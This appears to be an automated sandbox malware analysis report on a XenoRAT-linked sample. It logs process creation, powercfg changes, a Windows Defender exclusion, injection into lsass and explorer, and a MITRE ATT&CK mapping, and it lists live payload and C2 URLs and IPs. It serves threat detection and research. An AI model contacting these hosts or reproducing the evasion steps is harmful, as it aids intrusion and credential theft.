                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,51_2_0000000140001B54
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165E7960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,55_2_000002D0165E7960
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                      Lowering of HIPS / PFW / Operating System Security Settings

                      barindex
                      Modifies power options to not sleep / hibernate
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                      Source: RegSvcs.exe, 0000000F.00000002.3420376672.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.3435904678.0000000001018000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct

                      Stealing of Sensitive Information

                      barindex
                      Yara detected XenoRAT
                      Source: Yara matchFile source: 65.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000041.00000002.2374077703.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

                      Remote Access Functionality

                      barindex
                      Yara detected XenoRAT
                      Source: Yara matchFile source: 65.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000041.00000002.2374077703.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                      Gather Victim Identity Information11
                      Scripting                      		Valid Accounts1
                      Windows Management Instrumentation                      		11
                      Scripting                      		1
                      Abuse Elevation Control Mechanism                      		11
                      Disable or Modify Tools                      		1
                      Credential API Hooking                      		1
                      System Time Discovery                      		Remote Services1
                      Archive Collected Data                      		1
                      Data Obfuscation                      		Exfiltration Over Other Network MediumAbuse Accessibility Features
                      CredentialsDomainsDefault Accounts1
                      Native API                      		1
                      DLL Side-Loading                      		1
                      DLL Side-Loading                      		1
                      Abuse Elevation Control Mechanism                      		LSASS Memory2
                      File and Directory Discovery                      		Remote Desktop Protocol1
                      Credential API Hooking                      		11
                      Ingress Tool Transfer                      		Exfiltration Over BluetoothNetwork Denial of Service
                      Email AddressesDNS ServerDomain Accounts1
                      Exploitation for Client Execution                      		1
                      Windows Service                      		1
                      Access Token Manipulation                      		1
                      Obfuscated Files or Information                      		Security Account Manager135
                      System Information Discovery                      		SMB/Windows Admin Shares1
                      Clipboard Data                      		11
                      Encrypted Channel                      		Automated ExfiltrationData Encrypted for Impact
                      Employee NamesVirtual Private ServerLocal Accounts2
                      Command and Scripting Interpreter                      		1
                      Registry Run Keys / Startup Folder                      		1
                      Windows Service                      		1
                      Software Packing                      		NTDS471
                      Security Software Discovery                      		Distributed Component Object ModelInput Capture1
                      Non-Standard Port                      		Traffic DuplicationData Destruction
                      Gather Victim Network InformationServerCloud Accounts1
                      Service Execution                      		Network Logon Script713
                      Process Injection                      		1
                      DLL Side-Loading                      		LSA Secrets2
                      Process Discovery                      		SSHKeylogging2
                      Non-Application Layer Protocol                      		Scheduled TransferData Encrypted for Impact
                      Domain PropertiesBotnetReplication Through Removable Media3
                      PowerShell                      		RC Scripts1
                      Registry Run Keys / Startup Folder                      		4
                      Rootkit                      		Cached Domain Credentials151
                      Virtualization/Sandbox Evasion                      		VNCGUI Input Capture23
                      Application Layer Protocol                      		Data Transfer Size LimitsService Stop
                      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                      Masquerading                      		DCSync1
                      Application Window Discovery                      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job151
                      Virtualization/Sandbox Evasion                      		Proc Filesystem1
                      System Network Configuration Discovery                      		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                      Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                      Access Token Manipulation                      		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                      IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron713
                      Process Injection                      		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                      Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
                      Hidden Files and Directories                      		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1467504 Sample: file.exe Startdate: 04/07/2024 Architecture: WINDOWS Score: 100 89 unpkg.com 2->89 91 counter.yadro.ru 2->91 93 2no.co 2->93 119 Antivirus detection for URL or domain 2->119 121 Multi AV Scanner detection for submitted file 2->121 123 Yara detected XenoRAT 2->123 125 15 other signatures 2->125 10 file.exe 1 2->10         started        13 wscript.exe 2->13         started        15 Mig.exe 2->15         started        17 wscript.exe 2->17         started        signatures3 process4 signatures5 147 Suspicious powershell command line found 10->147 19 powershell.exe 15 37 10->19         started        24 powershell.exe 1 18 10->24         started        26 powershell.exe 15 10->26         started        149 Wscript starts Powershell (via cmd or directly) 13->149 151 Windows Scripting host queries suspicious COM object (likely to drop second stage) 13->151 153 Suspicious execution chain found 13->153 28 powershell.exe 13->28         started        155 Detected unpacking (changes PE section rights) 15->155 157 Tries to detect sandboxes and other dynamic analysis tools (window names) 15->157 159 Machine Learning detection for dropped file 15->159 161 3 other signatures 15->161 30 powershell.exe 17->30         started        process6 dnsIp7 95 counter.yadro.ru 88.212.202.52, 443, 49739, 49741 UNITEDNETRU Russian Federation 19->95 97 unpkg.com 104.17.247.203, 443, 49734, 49737 CLOUDFLARENETUS United States 19->97 85 C:\Users\user\AppData\Roaming\LB311.exe, PE32+ 19->85 dropped 127 Adds a directory exclusion to Windows Defender 19->127 32 LB311.exe 19->32         started        36 powershell.exe 23 19->36         started        45 2 other processes 19->45 99 176.113.115.177, 4405, 49716, 49718 SELECTELRU Russian Federation 24->99 101 85.28.47.8, 49712, 49713, 49714 GES-ASRU Russian Federation 24->101 87 C:\Users\Public\0x1.log, Unicode 24->87 dropped 129 Uses ipconfig to lookup or modify the Windows network settings 24->129 131 Writes to foreign memory regions 24->131 133 Injects a PE file into a foreign processes 24->133 135 Powershell drops PE file 24->135 38 cmd.exe 1 24->38         started        47 4 other processes 24->47 103 2no.co 172.67.149.76, 443, 49715, 49730 CLOUDFLARENETUS United States 26->103 40 conhost.exe 26->40         started        42 svchost.exe 28->42         started        49 3 other processes 28->49 51 3 other processes 30->51 file8 signatures9 process10 dnsIp11 83 C:\ProgramData\Mig\Mig.exe, PE32+ 32->83 dropped 109 Detected unpacking (changes PE section rights) 32->109 111 Machine Learning detection for dropped file 32->111 113 Uses powercfg.exe to modify the power settings 32->113 117 6 other signatures 32->117 53 dialer.exe 32->53         started        56 powershell.exe 32->56         started        58 cmd.exe 32->58         started        62 13 other processes 32->62 115 Loading BitLocker PowerShell Module 36->115 60 attrib.exe 1 38->60         started        105 127.0.0.1 unknown unknown 42->105 file12 signatures13 process14 signatures15 137 Injects code into the Windows Explorer (explorer.exe) 53->137 139 Contains functionality to inject code into remote processes 53->139 141 Writes to foreign memory regions 53->141 145 4 other signatures 53->145 64 lsass.exe 53->64 injected 79 4 other processes 53->79 143 Loading BitLocker PowerShell Module 56->143 67 conhost.exe 56->67         started        69 conhost.exe 58->69         started        71 wusa.exe 58->71         started        73 conhost.exe 62->73         started        75 conhost.exe 62->75         started        77 conhost.exe 62->77         started        81 10 other processes 62->81 process16 signatures17 107 Writes to foreign memory regions 64->107

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      file.exe27%VirustotalBrowse
                      file.exe100%Joe Sandbox ML

                      Dropped Files

                      SourceDetectionScannerLabelLink
                      C:\ProgramData\Mig\Mig.exe100%Joe Sandbox ML
                      C:\Users\user\AppData\Roaming\LB311.exe100%Joe Sandbox ML

                      Unpacked PE Files

                      ⊘No Antivirus matches

                      Domains

                      SourceDetectionScannerLabelLink
                      counter.yadro.ru1%VirustotalBrowse
                      2no.co3%VirustotalBrowse
                      unpkg.com1%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://nuget.org/NuGet.exe0%URL Reputationsafe
                      http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
                      http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
                      http://www.apache.org/licenses/LICENSE-2.0.html0%URL Reputationsafe
                      https://go.micro0%URL Reputationsafe
                      https://contoso.com/License0%URL Reputationsafe
                      https://contoso.com/Icon0%URL Reputationsafe
                      http://schemas.xmlsoap.org/ws/2005/02/trust0%URL Reputationsafe
                      https://aka.ms/pscore6lB0%URL Reputationsafe
                      http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
                      https://contoso.com/0%URL Reputationsafe
                      https://nuget.org/nuget.exe0%URL Reputationsafe
                      http://85.28.47.8/S.pngg0%Avira URL Cloudsafe
                      http://schemas.xmlsoap.org/ws/2004/09/policy0%Avira URL Cloudsafe
                      http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd0%URL Reputationsafe
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                      http://docs.oasis-open.org/ws-sx/ws-securitypolicy/2007020%Avira URL Cloudsafe
                      http://schemas.xmlsoap.org/wsdl/erties0%Avira URL Cloudsafe
                      https://2no.co/XgW3f.gif100%Avira URL Cloudmalware
                      https://unpkg.com/leaflet@1.7.1/dist/leaflet.css0%Avira URL Cloudsafe
                      http://176.113.115.177/x/5.png(Q0%Avira URL Cloudsafe
                      http://schemas.xmlsoap.org/ws/2004/09/policy0%VirustotalBrowse
                      http://schemas.xmlsoap.org/wsdl/erties0%VirustotalBrowse
                      http://docs.oasis-open.org/ws-sx/ws-securitypolicy/2007020%VirustotalBrowse
                      http://85.28.47.8/x/L.png2http://85.28.47.8/x/M.png.http://85.28.47.8/S.png80%Avira URL Cloudsafe
                      https://unpkg.com/leaflet@1.7.1/dist/leaflet.css1%VirustotalBrowse
                      https://g.live.com/odclientsettings/ProdV21C:0%Avira URL Cloudsafe
                      https://unpkg.com/leaflet@1.7.1/dist/leaflet.js0%Avira URL Cloudsafe
                      https://2no.co/XgzVd.gif100%Avira URL Cloudmalware
                      http://85.28.47.8/x/MIN.png0%Avira URL Cloudsafe
                      https://github.com/Pester/Pester0%Avira URL Cloudsafe
                      http://85.28.47.8/x/L.pngs0%Avira URL Cloudsafe
                      http://85.28.47.8/S.png0%Avira URL Cloudsafe
                      https://counter.yadro.ru/hit?q;t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.057383044041505850%Avira URL Cloudsafe
                      https://github.com/Pester/Pester1%VirustotalBrowse
                      http://schemas.xmlsoap.org/ws/2005/07/securitypolicy0%Avira URL Cloudsafe
                      https://g.live.com/odclientsettings/Prod1C:0%Avira URL Cloudsafe
                      http://176.113.115.177/x/5.pngme0%Avira URL Cloudsafe
                      http://85.28.47.8/S.png1%VirustotalBrowse
                      http://ocsp.digicert.T0%Avira URL Cloudsafe
                      http://176.113.115.177/0x1.png0%Avira URL Cloudsafe
                      http://schemas.xmlsoap.org/ws/2005/07/securitypolicy0%VirustotalBrowse
                      http://schemas.xmlsoap.org/wsdl/soap12/0%Avira URL Cloudsafe
                      http://85.28.47.8/x/M.png0%Avira URL Cloudsafe
                      https://unpkg.com/leaflet@1.7.1/dist/leaflet.js1%VirustotalBrowse
                      https://counter.yadro.ru/hit?t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.057383044041505850%Avira URL Cloudsafe
                      http://schemas.xmlsoap.org/wsdl/soap12/P0%Avira URL Cloudsafe
                      http://85.28.47.8/x/M.png1%VirustotalBrowse
                      http://docs.oasis-open.org/ws-sx/ws-trust/2005120%Avira URL Cloudsafe
                      http://176.113.115.177/x/5.pngm;C:0%Avira URL Cloudsafe
                      http://176.113.115.177/x/5.png0%Avira URL Cloudsafe
                      http://85.28.47.8/x/M.pngors;0%Avira URL Cloudsafe
                      http://schemas.xmlsoap.org/wsdl/soap12/P0%VirustotalBrowse
                      http://85.28.47.8/x/L.png0%Avira URL Cloudsafe
                      http://docs.oasis-open.org/ws-sx/ws-trust/2005121%VirustotalBrowse
                      http://schemas.xmlsoap.org/wsdl/soap12/0%VirustotalBrowse
                      http://85.28.47.8/x/L.png1%VirustotalBrowse

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      counter.yadro.ru
                      		88.212.202.52
                      		truefalseunknown
                      2no.co
                      		172.67.149.76
                      		truefalseunknown
                      unpkg.com
                      		104.17.247.203
                      		truefalseunknown

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://2no.co/XgW3f.giftrue
                      • Avira URL Cloud: malware
                      		unknown
                      https://unpkg.com/leaflet@1.7.1/dist/leaflet.csstrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://2no.co/XgzVd.giftrue
                      • Avira URL Cloud: malware
                      		unknown
                      https://unpkg.com/leaflet@1.7.1/dist/leaflet.jstrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://85.28.47.8/x/MIN.pngtrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://85.28.47.8/S.pngtrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://counter.yadro.ru/hit?q;t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585true
                      • Avira URL Cloud: safe
                      		unknown
                      http://176.113.115.177/0x1.pngtrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://85.28.47.8/x/M.pngtrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://counter.yadro.ru/hit?t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585true
                      • Avira URL Cloud: safe
                      		unknown
                      http://176.113.115.177/x/5.pngtrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://85.28.47.8/x/L.pngtrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://nuget.org/NuGet.exepowershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://85.28.47.8/S.pnggfile.exe, 00000000.00000002.2124777316.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123514575.00000000004D3000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
